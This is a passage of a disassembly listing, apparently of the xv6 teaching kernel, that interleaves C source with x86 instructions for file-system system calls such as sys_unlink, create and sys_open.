pushl -0x10(%ebp) 80105bb0: e8 75 c0 ff ff call 80101c2a <iunlockput> 80105bb5: 83 c4 10 add $0x10,%esp goto bad; 80105bb8: eb 29 jmp 80105be3 <sys_link+0x15b> } iunlockput(dp); 80105bba: 83 ec 0c sub $0xc,%esp 80105bbd: ff 75 f0 pushl -0x10(%ebp) 80105bc0: e8 65 c0 ff ff call 80101c2a <iunlockput> 80105bc5: 83 c4 10 add $0x10,%esp iput(ip); 80105bc8: 83 ec 0c sub $0xc,%esp 80105bcb: ff 75 f4 pushl -0xc(%ebp) 80105bce: e8 67 bf ff ff call 80101b3a <iput> 80105bd3: 83 c4 10 add $0x10,%esp end_op(); 80105bd6: e8 fe d9 ff ff call 801035d9 <end_op> return 0; 80105bdb: b8 00 00 00 00 mov $0x0,%eax 80105be0: eb 48 jmp 80105c2a <sys_link+0x1a2> ip->nlink++; iupdate(ip); iunlock(ip); if((dp = nameiparent(new, name)) == 0) goto bad; 80105be2: 90 nop end_op(); return 0; bad: ilock(ip); 80105be3: 83 ec 0c sub $0xc,%esp 80105be6: ff 75 f4 pushl -0xc(%ebp) 80105be9: e8 7c bd ff ff call 8010196a <ilock> 80105bee: 83 c4 10 add $0x10,%esp ip->nlink--; 80105bf1: 8b 45 f4 mov -0xc(%ebp),%eax 80105bf4: 0f b7 40 16 movzwl 0x16(%eax),%eax 80105bf8: 83 e8 01 sub $0x1,%eax 80105bfb: 89 c2 mov %eax,%edx 80105bfd: 8b 45 f4 mov -0xc(%ebp),%eax 80105c00: 66 89 50 16 mov %dx,0x16(%eax) iupdate(ip); 80105c04: 83 ec 0c sub $0xc,%esp 80105c07: ff 75 f4 pushl -0xc(%ebp) 80105c0a: e8 81 bb ff ff call 80101790 <iupdate> 80105c0f: 83 c4 10 add $0x10,%esp iunlockput(ip); 80105c12: 83 ec 0c sub $0xc,%esp 80105c15: ff 75 f4 pushl -0xc(%ebp) 80105c18: e8 0d c0 ff ff call 80101c2a <iunlockput> 80105c1d: 83 c4 10 add $0x10,%esp end_op(); 80105c20: e8 b4 d9 ff ff call 801035d9 <end_op> return -1; 80105c25: b8 ff ff ff ff mov $0xffffffff,%eax } 80105c2a: c9 leave 80105c2b: c3 ret 80105c2c <isdirempty>: // Is the directory dp empty except for "." and ".." ? static int isdirempty(struct inode *dp) { 80105c2c: 55 push %ebp 80105c2d: 89 e5 mov %esp,%ebp 80105c2f: 83 ec 28 sub $0x28,%esp int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80105c32: c7 45 f4 20 00 00 00 movl $0x20,-0xc(%ebp) 80105c39: eb 40 jmp 80105c7b <isdirempty+0x4f> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80105c3b: 8b 45 f4 mov -0xc(%ebp),%eax 80105c3e: 6a 10 push $0x10 80105c40: 50 push %eax 80105c41: 8d 45 e4 lea -0x1c(%ebp),%eax 80105c44: 50 push %eax 80105c45: ff 75 08 pushl 0x8(%ebp) 80105c48: e8 8b c2 ff ff call 80101ed8 <readi> 80105c4d: 83 c4 10 add $0x10,%esp 80105c50: 83 f8 10 cmp $0x10,%eax 80105c53: 74 0d je 80105c62 <isdirempty+0x36> panic("isdirempty: readi"); 80105c55: 83 ec 0c sub $0xc,%esp 80105c58: 68 83 8d 10 80 push $0x80108d83 80105c5d: e8 04 a9 ff ff call 80100566 <panic> if(de.inum != 0) 80105c62: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax 80105c66: 66 85 c0 test %ax,%ax 80105c69: 74 07 je 80105c72 <isdirempty+0x46> return 0; 80105c6b: b8 00 00 00 00 mov $0x0,%eax 80105c70: eb 1b jmp 80105c8d <isdirempty+0x61> isdirempty(struct inode *dp) { int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80105c72: 8b 45 f4 mov -0xc(%ebp),%eax 80105c75: 83 c0 10 add $0x10,%eax 80105c78: 89 45 f4 mov %eax,-0xc(%ebp) 80105c7b: 8b 45 08 mov 0x8(%ebp),%eax 80105c7e: 8b 50 18 mov 0x18(%eax),%edx 80105c81: 8b 45 f4 mov -0xc(%ebp),%eax 80105c84: 39 c2 cmp %eax,%edx 80105c86: 77 b3 ja 80105c3b <isdirempty+0xf> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("isdirempty: readi"); if(de.inum != 0) return 0; } return 1; 80105c88: b8 01 00 00 00 mov $0x1,%eax } 80105c8d: c9 leave 80105c8e: c3 ret 80105c8f <sys_unlink>: //PAGEBREAK! int sys_unlink(void) { 80105c8f: 55 push %ebp 80105c90: 89 e5 mov %esp,%ebp 80105c92: 83 ec 38 sub $0x38,%esp struct inode *ip, *dp; struct dirent de; char name[DIRSIZ], *path; uint off; if(argstr(0, &path) < 0) 80105c95: 83 ec 08 sub $0x8,%esp 80105c98: 8d 45 cc lea -0x34(%ebp),%eax 80105c9b: 50 push %eax 80105c9c: 6a 00 push $0x0 80105c9e: e8 a0 fa ff ff call 80105743 <argstr> 80105ca3: 83 c4 10 add $0x10,%esp 80105ca6: 85 c0 test %eax,%eax 80105ca8: 79 0a jns 80105cb4 <sys_unlink+0x25> return -1; 80105caa: b8 ff ff ff ff mov $0xffffffff,%eax 80105caf: e9 bc 01 00 00 jmp 80105e70 <sys_unlink+0x1e1> begin_op(); 80105cb4: e8 94 d8 ff ff call 8010354d <begin_op> if((dp = nameiparent(path, name)) == 0){ 80105cb9: 8b 45 cc mov -0x34(%ebp),%eax 80105cbc: 83 ec 08 sub $0x8,%esp 80105cbf: 8d 55 d2 lea -0x2e(%ebp),%edx 80105cc2: 52 push %edx 80105cc3: 50 push %eax 80105cc4: e8 7b c8 ff ff call 80102544 <nameiparent> 80105cc9: 83 c4 10 add $0x10,%esp 80105ccc: 89 45 f4 mov %eax,-0xc(%ebp) 80105ccf: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80105cd3: 75 0f jne 80105ce4 <sys_unlink+0x55> end_op(); 80105cd5: e8 ff d8 ff ff call 801035d9 <end_op> return -1; 80105cda: b8 ff ff ff ff mov $0xffffffff,%eax 80105cdf: e9 8c 01 00 00 jmp 80105e70 <sys_unlink+0x1e1> } ilock(dp); 80105ce4: 83 ec 0c sub $0xc,%esp 80105ce7: ff 75 f4 pushl -0xc(%ebp) 80105cea: e8 7b bc ff ff call 8010196a <ilock> 80105cef: 83 c4 10 add $0x10,%esp // Cannot unlink "." or "..". if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80105cf2: 83 ec 08 sub $0x8,%esp 80105cf5: 68 95 8d 10 80 push $0x80108d95 80105cfa: 8d 45 d2 lea -0x2e(%ebp),%eax 80105cfd: 50 push %eax 80105cfe: e8 b4 c4 ff ff call 801021b7 <namecmp> 80105d03: 83 c4 10 add $0x10,%esp 80105d06: 85 c0 test %eax,%eax 80105d08: 0f 84 4a 01 00 00 je 80105e58 <sys_unlink+0x1c9> 80105d0e: 83 ec 08 sub $0x8,%esp 80105d11: 68 97 8d 10 80 push $0x80108d97 80105d16: 8d 45 d2 lea -0x2e(%ebp),%eax 80105d19: 50 push %eax 80105d1a: e8 98 c4 ff ff call 801021b7 <namecmp> 80105d1f: 83 c4 10 add $0x10,%esp 80105d22: 85 c0 test %eax,%eax 80105d24: 0f 84 2e 01 00 00 je 80105e58 <sys_unlink+0x1c9> goto bad; if((ip = dirlookup(dp, name, &off)) == 0) 80105d2a: 83 ec 04 sub $0x4,%esp 80105d2d: 8d 45 c8 lea -0x38(%ebp),%eax 80105d30: 50 push %eax 80105d31: 8d 45 d2 lea -0x2e(%ebp),%eax 80105d34: 50 push %eax 80105d35: ff 75 f4 pushl -0xc(%ebp) 80105d38: e8 95 c4 ff ff call 801021d2 <dirlookup> 80105d3d: 83 c4 10 add $0x10,%esp 80105d40: 89 45 f0 mov %eax,-0x10(%ebp) 80105d43: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80105d47: 0f 84 0a 01 00 00 je 80105e57 <sys_unlink+0x1c8> goto bad; ilock(ip); 80105d4d: 83 ec 0c sub $0xc,%esp 80105d50: ff 75 f0 pushl -0x10(%ebp) 80105d53: e8 12 bc ff ff call 8010196a <ilock> 80105d58: 83 c4 10 add $0x10,%esp if(ip->nlink < 1) 80105d5b: 8b 45 f0 mov -0x10(%ebp),%eax 80105d5e: 0f b7 40 16 movzwl 0x16(%eax),%eax 80105d62: 66 85 c0 test %ax,%ax 80105d65: 7f 0d jg 80105d74 <sys_unlink+0xe5> panic("unlink: nlink < 1"); 80105d67: 83 ec 0c sub $0xc,%esp 80105d6a: 68 9a 8d 10 80 push $0x80108d9a 80105d6f: e8 f2 a7 ff ff call 80100566 <panic> if(ip->type == T_DIR && !isdirempty(ip)){ 80105d74: 8b 45 f0 mov -0x10(%ebp),%eax 80105d77: 0f b7 40 10 movzwl 0x10(%eax),%eax 80105d7b: 66 83 f8 01 cmp $0x1,%ax 80105d7f: 75 25 jne 80105da6 <sys_unlink+0x117> 80105d81: 83 ec 0c sub $0xc,%esp 80105d84: ff 75 f0 pushl -0x10(%ebp) 80105d87: e8 a0 fe ff ff call 80105c2c <isdirempty> 80105d8c: 83 c4 10 add $0x10,%esp 80105d8f: 85 c0 test %eax,%eax 80105d91: 75 13 jne 80105da6 <sys_unlink+0x117> iunlockput(ip); 80105d93: 83 ec 0c sub $0xc,%esp 80105d96: ff 75 f0 pushl -0x10(%ebp) 80105d99: e8 8c be ff ff call 80101c2a <iunlockput> 80105d9e: 83 c4 10 add $0x10,%esp goto bad; 80105da1: e9 b2 00 00 00 jmp 80105e58 <sys_unlink+0x1c9> } memset(&de, 0, sizeof(de)); 80105da6: 83 ec 04 sub $0x4,%esp 80105da9: 6a 10 push $0x10 80105dab: 6a 00 push $0x0 80105dad: 8d 45 e0 lea -0x20(%ebp),%eax 80105db0: 50 push %eax 80105db1: e8 e3 f5 ff ff call 80105399 <memset> 80105db6: 83 c4 10 add $0x10,%esp if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80105db9: 8b 45 c8 mov -0x38(%ebp),%eax 80105dbc: 6a 10 push $0x10 80105dbe: 50 push %eax 80105dbf: 8d 45 e0 lea -0x20(%ebp),%eax 80105dc2: 50 push %eax 80105dc3: ff 75 f4 pushl -0xc(%ebp) 80105dc6: e8 64 c2 ff ff call 8010202f <writei> 80105dcb: 83 c4 10 add $0x10,%esp 80105dce: 83 f8 10 cmp $0x10,%eax 80105dd1: 74 0d je 80105de0 <sys_unlink+0x151> panic("unlink: writei"); 80105dd3: 83 ec 0c sub $0xc,%esp 80105dd6: 68 ac 8d 10 80 push $0x80108dac 80105ddb: e8 86 a7 ff ff call 80100566 <panic> if(ip->type == T_DIR){ 80105de0: 8b 45 f0 mov -0x10(%ebp),%eax 80105de3: 0f b7 40 10 movzwl 0x10(%eax),%eax 80105de7: 66 83 f8 01 cmp $0x1,%ax 80105deb: 75 21 jne 80105e0e <sys_unlink+0x17f> dp->nlink--; 80105ded: 8b 45 f4 mov -0xc(%ebp),%eax 80105df0: 0f b7 40 16 movzwl 0x16(%eax),%eax 80105df4: 83 e8 01 sub $0x1,%eax 80105df7: 89 c2 mov %eax,%edx 80105df9: 8b 45 f4 mov -0xc(%ebp),%eax 80105dfc: 66 89 50 16 mov %dx,0x16(%eax) iupdate(dp); 80105e00: 83 ec 0c sub $0xc,%esp 80105e03: ff 75 f4 pushl -0xc(%ebp) 80105e06: e8 85 b9 ff ff call 80101790 <iupdate> 80105e0b: 83 c4 10 add $0x10,%esp } iunlockput(dp); 80105e0e: 83 ec 0c sub $0xc,%esp 80105e11: ff 75 f4 pushl -0xc(%ebp) 80105e14: e8 11 be ff ff call 80101c2a <iunlockput> 80105e19: 83 c4 10 add $0x10,%esp ip->nlink--; 80105e1c: 8b 45 f0 mov -0x10(%ebp),%eax 80105e1f: 0f b7 40 16 movzwl 0x16(%eax),%eax 80105e23: 83 e8 01 sub $0x1,%eax 80105e26: 89 c2 mov %eax,%edx 80105e28: 8b 45 f0 mov -0x10(%ebp),%eax 80105e2b: 66 89 50 16 mov %dx,0x16(%eax) iupdate(ip); 80105e2f: 83 ec 0c sub $0xc,%esp 80105e32: ff 75 f0 pushl -0x10(%ebp) 80105e35: e8 56 b9 ff ff call 80101790 <iupdate> 80105e3a: 83 c4 10 add $0x10,%esp iunlockput(ip); 80105e3d: 83 ec 0c sub $0xc,%esp 80105e40: ff 75 f0 pushl -0x10(%ebp) 80105e43: e8 e2 bd ff ff call 80101c2a <iunlockput> 80105e48: 83 c4 10 add $0x10,%esp end_op(); 80105e4b: e8 89 d7 ff ff call 801035d9 <end_op> return 0; 80105e50: b8 00 00 00 00 mov $0x0,%eax 80105e55: eb 19 jmp 80105e70 <sys_unlink+0x1e1> // Cannot unlink "." or "..". if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) goto bad; if((ip = dirlookup(dp, name, &off)) == 0) goto bad; 80105e57: 90 nop end_op(); return 0; bad: iunlockput(dp); 80105e58: 83 ec 0c sub $0xc,%esp 80105e5b: ff 75 f4 pushl -0xc(%ebp) 80105e5e: e8 c7 bd ff ff call 80101c2a <iunlockput> 80105e63: 83 c4 10 add $0x10,%esp end_op(); 80105e66: e8 6e d7 ff ff call 801035d9 <end_op> return -1; 80105e6b: b8 ff ff ff ff mov $0xffffffff,%eax } 80105e70: c9 leave 80105e71: c3 ret 80105e72 <create>: static struct inode* create(char *path, short type, short major, short minor) { 80105e72: 55 push %ebp 80105e73: 89 e5 mov %esp,%ebp 80105e75: 83 ec 38 sub $0x38,%esp 80105e78: 8b 4d 0c mov 0xc(%ebp),%ecx 80105e7b: 8b 55 10 mov 0x10(%ebp),%edx 80105e7e: 8b 45 14 mov 0x14(%ebp),%eax 80105e81: 66 89 4d d4 mov %cx,-0x2c(%ebp) 80105e85: 66 89 55 d0 mov %dx,-0x30(%ebp) 80105e89: 66 89 45 cc mov %ax,-0x34(%ebp) uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80105e8d: 83 ec 08 sub $0x8,%esp 80105e90: 8d 45 de lea -0x22(%ebp),%eax 80105e93: 50 push %eax 80105e94: ff 75 08 pushl 0x8(%ebp) 80105e97: e8 a8 c6 ff ff call 80102544 <nameiparent> 80105e9c: 83 c4 10 add $0x10,%esp 80105e9f: 89 45 f4 mov %eax,-0xc(%ebp) 80105ea2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80105ea6: 75 0a jne 80105eb2 <create+0x40> return 0; 80105ea8: b8 00 00 00 00 mov $0x0,%eax 80105ead: e9 90 01 00 00 jmp 80106042 <create+0x1d0> ilock(dp); 80105eb2: 83 ec 0c sub $0xc,%esp 80105eb5: ff 75 f4 pushl -0xc(%ebp) 80105eb8: e8 ad ba ff ff call 8010196a <ilock> 80105ebd: 83 c4 10 add $0x10,%esp if((ip = dirlookup(dp, name, &off)) != 0){ 80105ec0: 83 ec 04 sub $0x4,%esp 80105ec3: 8d 45 ec lea -0x14(%ebp),%eax 80105ec6: 50 push %eax 80105ec7: 8d 45 de lea -0x22(%ebp),%eax 80105eca: 50 push %eax 80105ecb: ff 75 f4 pushl -0xc(%ebp) 80105ece: e8 ff c2 ff ff call 801021d2 <dirlookup> 80105ed3: 83 c4 10 add $0x10,%esp 80105ed6: 89 45 f0 mov %eax,-0x10(%ebp) 80105ed9: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80105edd: 74 50 je 80105f2f <create+0xbd> iunlockput(dp); 80105edf: 83 ec 0c sub $0xc,%esp 80105ee2: ff 75 f4 pushl -0xc(%ebp) 80105ee5: e8 40 bd ff ff call 80101c2a <iunlockput> 80105eea: 83 c4 10 add $0x10,%esp ilock(ip); 80105eed: 83 ec 0c sub $0xc,%esp 80105ef0: ff 75 f0 pushl -0x10(%ebp) 80105ef3: e8 72 ba ff ff call 8010196a <ilock> 80105ef8: 83 c4 10 add $0x10,%esp if(type == T_FILE && ip->type == T_FILE) 80105efb: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp) 80105f00: 75 15 jne 80105f17 <create+0xa5> 80105f02: 8b 45 f0 mov -0x10(%ebp),%eax 80105f05: 0f b7 40 10 movzwl 0x10(%eax),%eax 80105f09: 66 83 f8 02 cmp $0x2,%ax 80105f0d: 75 08 jne 80105f17 <create+0xa5> return ip; 80105f0f: 8b 45 f0 mov -0x10(%ebp),%eax 80105f12: e9 2b 01 00 00 jmp 80106042 <create+0x1d0> iunlockput(ip); 80105f17: 83 ec 0c sub $0xc,%esp 80105f1a: ff 75 f0 pushl -0x10(%ebp) 80105f1d: e8 08 bd ff ff call 80101c2a <iunlockput> 80105f22: 83 c4 10 add $0x10,%esp return 0; 80105f25: b8 00 00 00 00 mov $0x0,%eax 80105f2a: e9 13 01 00 00 jmp 80106042 <create+0x1d0> } if((ip = ialloc(dp->dev, type)) == 0) 80105f2f: 0f bf 55 d4 movswl -0x2c(%ebp),%edx 80105f33: 8b 45 f4 mov -0xc(%ebp),%eax 80105f36: 8b 00 mov (%eax),%eax 80105f38: 83 ec 08 sub $0x8,%esp 80105f3b: 52 push %edx 80105f3c: 50 push %eax 80105f3d: e8 77 b7 ff ff call 801016b9 <ialloc> 80105f42: 83 c4 10 add $0x10,%esp 80105f45: 89 45 f0 mov %eax,-0x10(%ebp) 80105f48: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80105f4c: 75 0d jne 80105f5b <create+0xe9> panic("create: ialloc"); 80105f4e: 83 ec 0c sub $0xc,%esp 80105f51: 68 bb 8d 10 80 push $0x80108dbb 80105f56: e8 0b a6 ff ff call 80100566 <panic> ilock(ip); 80105f5b: 83 ec 0c sub $0xc,%esp 80105f5e: ff 75 f0 pushl -0x10(%ebp) 80105f61: e8 04 ba ff ff call 8010196a <ilock> 80105f66: 83 c4 10 add $0x10,%esp ip->major = major; 80105f69: 8b 45 f0 mov -0x10(%ebp),%eax 80105f6c: 0f b7 55 d0 movzwl -0x30(%ebp),%edx 80105f70: 66 89 50 12 mov %dx,0x12(%eax) ip->minor = minor; 80105f74: 8b 45 f0 mov -0x10(%ebp),%eax 80105f77: 0f b7 55 cc movzwl -0x34(%ebp),%edx 80105f7b: 66 89 50 14 mov %dx,0x14(%eax) ip->nlink = 1; 80105f7f: 8b 45 f0 mov -0x10(%ebp),%eax 80105f82: 66 c7 40 16 01 00 movw $0x1,0x16(%eax) iupdate(ip); 80105f88: 83 ec 0c sub $0xc,%esp 80105f8b: ff 75 f0 pushl -0x10(%ebp) 80105f8e: e8 fd b7 ff ff call 80101790 <iupdate> 80105f93: 83 c4 10 add $0x10,%esp if(type == T_DIR){ // Create . and .. entries. 80105f96: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp) 80105f9b: 75 6a jne 80106007 <create+0x195> dp->nlink++; // for ".." 80105f9d: 8b 45 f4 mov -0xc(%ebp),%eax 80105fa0: 0f b7 40 16 movzwl 0x16(%eax),%eax 80105fa4: 83 c0 01 add $0x1,%eax 80105fa7: 89 c2 mov %eax,%edx 80105fa9: 8b 45 f4 mov -0xc(%ebp),%eax 80105fac: 66 89 50 16 mov %dx,0x16(%eax) iupdate(dp); 80105fb0: 83 ec 0c sub $0xc,%esp 80105fb3: ff 75 f4 pushl -0xc(%ebp) 80105fb6: e8 d5 b7 ff ff call 80101790 <iupdate> 80105fbb: 83 c4 10 add $0x10,%esp // No ip->nlink++ for ".": avoid cyclic ref count. if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 80105fbe: 8b 45 f0 mov -0x10(%ebp),%eax 80105fc1: 8b 40 04 mov 0x4(%eax),%eax 80105fc4: 83 ec 04 sub $0x4,%esp 80105fc7: 50 push %eax 80105fc8: 68 95 8d 10 80 push $0x80108d95 80105fcd: ff 75 f0 pushl -0x10(%ebp) 80105fd0: e8 b7 c2 ff ff call 8010228c <dirlink> 80105fd5: 83 c4 10 add $0x10,%esp 80105fd8: 85 c0 test %eax,%eax 80105fda: 78 1e js 80105ffa <create+0x188> 80105fdc: 8b 45 f4 mov -0xc(%ebp),%eax 80105fdf: 8b 40 04 mov 0x4(%eax),%eax 80105fe2: 83 ec 04 sub $0x4,%esp 80105fe5: 50 push %eax 80105fe6: 68 97 8d 10 80 push $0x80108d97 80105feb: ff 75 f0 pushl -0x10(%ebp) 80105fee: e8 99 c2 ff ff call 8010228c <dirlink> 80105ff3: 83 c4 10 add $0x10,%esp 80105ff6: 85 c0 test %eax,%eax 80105ff8: 79 0d jns 80106007 <create+0x195> panic("create dots"); 80105ffa: 83 ec 0c sub $0xc,%esp 80105ffd: 68 ca 8d 10 80 push $0x80108dca 80106002: e8 5f a5 ff ff call 80100566 <panic> } if(dirlink(dp, name, ip->inum) < 0) 80106007: 8b 45 f0 mov -0x10(%ebp),%eax 8010600a: 8b 40 04 mov 0x4(%eax),%eax 8010600d: 83 ec 04 sub $0x4,%esp 80106010: 50 push %eax 80106011: 8d 45 de lea -0x22(%ebp),%eax 80106014: 50 push %eax 80106015: ff 75 f4 pushl -0xc(%ebp) 80106018: e8 6f c2 ff ff call 8010228c <dirlink> 8010601d: 83 c4 10 add $0x10,%esp 80106020: 85 c0 test %eax,%eax 80106022: 79 0d jns 80106031 <create+0x1bf> panic("create: dirlink"); 80106024: 83 ec 0c sub $0xc,%esp 80106027: 68 d6 8d 10 80 push $0x80108dd6 8010602c: e8 35 a5 ff ff call 80100566 <panic> iunlockput(dp); 80106031: 83 ec 0c sub $0xc,%esp 80106034: ff 75 f4 pushl -0xc(%ebp) 80106037: e8 ee bb ff ff call 80101c2a <iunlockput> 8010603c: 83 c4 10 add $0x10,%esp return ip; 8010603f: 8b 45 f0 mov -0x10(%ebp),%eax } 80106042: c9 leave 80106043: c3 ret 80106044 <sys_open>: int sys_open(void) { 80106044: 55 push %ebp 80106045: 89 e5 mov %esp,%ebp 80106047: 83 ec 28 sub $0x28,%esp char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 8010604a: 83 ec 08 sub $0x8,%esp 8010604d: 8d 45 e8 lea -0x18(%ebp),%eax 80106050: 50 push %eax 80106051: 6a 00 push $0x0 80106053: e8 eb f6 ff ff call 80105743 <argstr> 80106058: 83 c4 10 add $0x10,%esp 8010605b: 85 c0 test %eax,%eax 8010605d: 78 15 js 80106074 <sys_open+0x30> 8010605f: 83 ec 08 sub $0x8,%esp 80106062: 8d 45 e4 lea -0x1c(%ebp),%eax 80106065: 50 push %eax 80106066: 6a 01 push $0x1 80106068: e8 51 f6 ff ff call 801056be <argint> 8010606d: 83 c4 10 add $0x10,%esp 80106070: 85 c0 test %eax,%eax 80106072: 79 0a jns 8010607e <sys_open+0x3a> return -1; 80106074: b8 ff ff ff ff mov $0xffffffff,%eax 80106079: e9 61 01 00 00 jmp 801061df <sys_open+0x19b> begin_op(); 8010607e: e8 ca d4 ff ff call 8010354d <begin_op> if(omode & O_CREATE){ 80106083: 8b 45 e4 mov -0x1c(%ebp),%eax 80106086: 25 00 02 00 00 and $0x200,%eax 8010608b: 85 c0 test %eax,%eax 8010608d: 74 2a je 801060b9 <sys_open+0x75> ip = create(path, T_FILE, 0, 0); 8010608f: 8b 45 e8 mov -0x18(%ebp),%eax 80106092: 6a 00 push $0x0 80106094: 6a 00 push $0x0 80106096: 6a 02 push $0x2 80106098: 50 push %eax 80106099: e8 d4 fd ff ff call 80105e72 <create> 8010609e: 83 c4 10 add $0x10,%esp 801060a1: 89 45 f4 mov %eax,-0xc(%ebp) if(ip == 0){ 801060a4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801060a8: 75 75 jne 8010611f <sys_open+0xdb> end_op(); 801060aa: e8 2a d5 ff ff call 801035d9 <end_op> return -1; 801060af: b8 ff ff ff ff mov $0xffffffff,%eax 801060b4: e9 26 01 00 00 jmp 801061df <sys_open+0x19b> } } else { if((ip = namei(path)) == 0){ 801060b9: 8b 45 e8 mov -0x18(%ebp),%eax 801060bc: 83 ec 0c sub $0xc,%esp 801060bf: 50 push %eax 801060c0: e8 63 c4 ff ff call 80102528 <namei> 801060c5: 83 c4 10 add $0x10,%esp 801060c8: 89 45 f4 mov %eax,-0xc(%ebp) 801060cb: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801060cf: 75 0f jne 801060e0 <sys_open+0x9c> end_op(); 801060d1: e8 03 d5 ff ff call 801035d9 <end_op> return -1; 801060d6: b8 ff ff ff ff mov $0xffffffff,%eax 801060db: e9 ff 00 00 00 jmp 801061df <sys_open+0x19b> } ilock(ip); 801060e0: 83 ec 0c sub $0xc,%esp 801060e3: ff 75 f4 pushl -0xc(%ebp) 801060e6: e8 7f b8 ff ff call 8010196a <ilock> 801060eb: 83 c4 10 add $0x10,%esp if(ip->type == T_DIR && omode != O_RDONLY){ 801060ee: 8b 45 f4 mov -0xc(%ebp),%eax 801060f1: 0f b7 40 10 movzwl 0x10(%eax),%eax 801060f5: 66 83 f8 01 cmp $0x1,%ax 801060f9: 75 24 jne 8010611f <sys_open+0xdb> 801060fb: 8b 45 e4 mov -0x1c(%ebp),%eax 801060fe: 85 c0 test %eax,%eax 80106100: 74 1d je 8010611f <sys_open+0xdb> iunlockput(ip); 80106102: 83 ec 0c sub $0xc,%esp 80106105: ff 75 f4 pushl -0xc(%ebp) 80106108: e8 1d bb ff ff call 80101c2a <iunlockput> 8010610d: 83 c4 10 add $0x10,%esp end_op(); 80106110: e8 c4 d4 ff ff call 801035d9 <end_op> return -1; 80106115: b8 ff ff ff ff mov $0xffffffff,%eax 8010611a: e9 c0 00 00 00 jmp 801061df <sys_open+0x19b> } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 8010611f: e8 6f ae ff ff call 80100f93 <filealloc> 80106124: 89 45 f0 mov %eax,-0x10(%ebp) 80106127: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 8010612b: 74 17 je 80106144 <sys_open+0x100> 8010612d: 83 ec 0c sub $0xc,%esp 80106130: ff 75 f0 pushl -0x10(%ebp) 80106133: e8 37 f7 ff ff call 8010586f <fdalloc> 80106138: 83 c4 10 add $0x10,%esp 8010613b: 89 45 ec mov %eax,-0x14(%ebp) 8010613e: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80106142: 79 2e jns 80106172 <sys_open+0x12e> if(f) 80106144: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80106148: 74 0e je 80106158 <sys_open+0x114> fileclose(f); 8010614a: 83 ec 0c sub $0xc,%esp 8010614d: ff 75 f0 pushl -0x10(%ebp) 80106150: e8 fc ae ff ff call 80101051 <fileclose> 80106155: 83 c4 10 add $0x10,%esp iunlockput(ip); 80106158: 83 ec 0c sub $0xc,%esp 8010615b: ff 75 f4 pushl -0xc(%ebp) 8010615e: e8 c7 ba ff ff call 80101c2a <iunlockput> 80106163: 83 c4 10 add $0x10,%esp end_op(); 80106166: e8 6e d4 ff ff call 801035d9 <end_op> return -1; 8010616b: b8 ff ff ff ff mov $0xffffffff,%eax 80106170: eb 6d jmp 801061df <sys_open+0x19b> } iunlock(ip); 80106172: 83 ec 0c sub $0xc,%esp 80106175: ff 75 f4 pushl -0xc(%ebp) 80106178: e8 4b b9 ff ff call 80101ac8 <iunlock> 8010617d: 83 c4 10 add $0x10,%esp end_op(); 80106180: e8 54 d4 ff ff call 801035d9 <end_op> f->type = FD_INODE; 80106185: 8b 45 f0 mov -0x10(%ebp),%eax 80106188: c7 00 02 00 00 00 movl $0x2,(%eax) f->ip = ip; 8010618e: 8b 45 f0 mov -0x10(%ebp),%eax 80106191: 8b 55 f4 mov -0xc(%ebp),%edx 80106194: 89 50 10 mov %edx,0x10(%eax) f->off = 0; 80106197: 8b 45 f0 mov -0x10(%ebp),%eax 8010619a: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax) f->readable = !(omode & O_WRONLY); 801061a1: 8b 45 e4 mov -0x1c(%ebp),%eax 801061a4: 83 e0 01 and $0x1,%eax 801061a7: 85 c0 test %eax,%eax 801061a9: 0f 94 c0 sete %al 801061ac: 89 c2 mov %eax,%edx 801061ae: 8b 45 f0 mov -0x10(%ebp),%eax 801061b1: 88 50 08 mov %dl,0x8(%eax) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 801061b4: 8b 45 e4 mov -0x1c(%ebp),%eax 801061b7: 83 e0 01 and $0x1,%eax 801061ba: 85 c0 test %eax,%eax 801061bc: 75 0a jne 801061c8 <sys_open+0x184> 801061be: 8b 45 e4 mov -0x1c(%ebp),%eax 801061c1: 83 e0 02 and $0x2,%eax 801061c4: 85 c0 test %eax,%eax 801061c6: 74 07 je 801061cf <sys_open+0x18b> 801061c8: b8 01 00 00 00 mov $0x1,%eax 801061cd: eb 05 jmp 801061d4 <sys_open+0x190> 801061cf: b8 00 00 00 00 mov $0x0,%eax 801061d4: 89 c2 mov %eax,%edx 801061d6: 8b 45 f0 mov -0x10(%ebp),%eax 801061d9: 88 50 09 mov %dl,0x9(%eax) return fd; 801061dc: 8b 45 ec mov -0x14(%ebp),%eax } 801061df: c9 leave 801061e0: c3 ret 801061e1 <sys_mkdir>: int sys_mkdir(void) { 801061e1: 55 push %ebp 801061e2: 89 e5 mov %esp,%ebp 801061e4: 83 ec 18 sub $0x18,%esp char *path; struct inode *ip; begin_op(); 801061e7: e8 61 d3 ff ff call 8010354d <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 801061ec: 83 ec 08 sub $0x8,%esp 801061ef: 8d 45 f0 lea -0x10(%ebp),%eax 801061f2: 50 push %eax 801061f3: 6a 00 push $0x0 801061f5: e8 49 f5 ff ff call 80105743 <argstr> 